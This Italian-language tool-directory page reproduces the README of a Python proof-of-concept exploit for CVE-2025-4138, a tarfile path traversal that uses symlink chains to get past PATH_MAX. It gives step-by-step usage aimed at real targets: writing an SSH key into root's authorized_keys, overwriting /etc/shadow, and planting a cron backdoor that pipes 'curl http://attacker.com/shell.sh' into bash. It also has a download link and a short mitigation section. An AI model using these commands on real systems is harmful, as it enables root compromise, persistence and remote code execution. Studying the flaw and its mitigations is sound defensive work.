Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-4138-POC — PoC Python per CVE-2025-4138, una path traversal nel modulo tarfile di Python che abusa di catene di symlink per aggirare PATH_MAX per la scrittura arbitraria di file. | Kitploit
Strumenti/GitHubGitHub/d3vn0mi/cve-2025-4138-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubd3vn0mi/cve-2025-4138-poc

CVE-2025-4138-POC

PoC Python per CVE-2025-4138, una path traversal nel modulo tarfile di Python che abusa di catene di symlink per aggirare PATH_MAX per la scrittura arbitraria di file.

Vedi Repository
16 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-4138 - PoC di bypass di PATH_MAX in tarfile Python

Autore: d3vn0mi

root@kitploit:~
   _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
  / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Panoramica

Un exploit proof-of-concept per CVE-2025-4138, una vulnerabilità di path traversal nel modulo tarfile di Python. La vulnerabilità consente a un aggressore di creare un archivio tar dannoso che scrive file in posizioni arbitrarie al di fuori della directory di estrazione prevista, abusando di catene di symlink per superare PATH_MAX.

Dettagli della Vulnerabilità

FieldValue
ID CVECVE-2025-4138
ComponenteModulo tarfile di Python
TipoPath Traversal (CWE-22)
VettoreCatena di symlink + bypass di PATH_MAX
ImpattoScrittura arbitraria di file al di fuori della directory di estrazione

Come Funziona

L'exploit opera in quattro fasi:

  1. Inflazione del percorso -- Viene costruita una catena di directory e symlink profondamente annidati in modo che il percorso completamente risolto superi il limite PATH_MAX del kernel (4096 byte su Linux).

  2. Symlink pivot -- Viene aggiunto un symlink il cui percorso risolto supera il confine di PATH_MAX. Poiché il percorso è troppo lungo per essere risolto, i controlli di sicurezza di tarfile in Python (che si basano su os.path.realpath()) falliscono silenziosamente e saltano la validazione.

  3. Symlink di fuga -- Un secondo symlink utilizza la traversione ../ attraverso il pivot per fuoriuscire completamente dalla directory di estrazione e puntare a un percorso assoluto controllato dall'aggressore sul filesystem.

  4. Rilascio del payload -- Un file regolare viene scritto attraverso il symlink di fuga, finendo nel percorso di destinazione con contenuti e permessi controllati dall'aggressore.

root@kitploit:~
Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Installazione

root@kitploit:~
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

Non sono richieste dipendenze esterne -- l'exploit utilizza solo i moduli della libreria standard di Python 3.

Utilizzo

root@kitploit:~
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Opzioni

FlagDescription
-o, --outputPercorso del tarball di output (predefinito: exploit.tar)
-t, --targetPercorso assoluto del file da scrivere sul target (predefinito: /root/.ssh/authorized_keys)
-p, --payloadPercorso di un file i cui contenuti diventano il payload
-s, --payload-stringUsa una stringa letterale come payload
-k, --ssh-keyPercorso di un file di chiave pubblica SSH
-m, --modeModalità di permesso del file in ottale (predefinito: 0600)
-d, --depthProfondità di attraversamento delle directory (predefinito: 8)
-v, --verifyMostra il contenuto del tarball dopo la creazione
-q, --quietSopprimi il banner

Esempi

Scrivere una chiave pubblica SSH in authorized_keys di root:

root@kitploit:~
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Scrivere un job cron per la persistenza:

root@kitploit:~
python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Scrivere contenuti di file arbitrari da un file locale:

root@kitploit:~
python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Output

root@kitploit:~
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Mitigazione

  • Aggiorna Python a una versione patchata quando viene rilasciata una correzione.
  • Usa tarfile.data_filter (Python 3.12+) che fornisce controlli di estrazione più rigorosi.
  • Non estrarre mai archivi tar non affidabili come root o in directory sensibili.
  • Usa --strip-components o valida il contenuto dell'archivio prima dell'estrazione.
  • Applica protezioni a livello di filesystem come la restrizione del seguito dei symlink (fs.protected_symlinks).

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Ottieni sempre la dovuta autorizzazione scritta prima di effettuare test su sistemi che non possiedi.

Licenza

Questo progetto è concesso in licenza MIT.


d3vn0mi | GitHub

Scarica lo strumento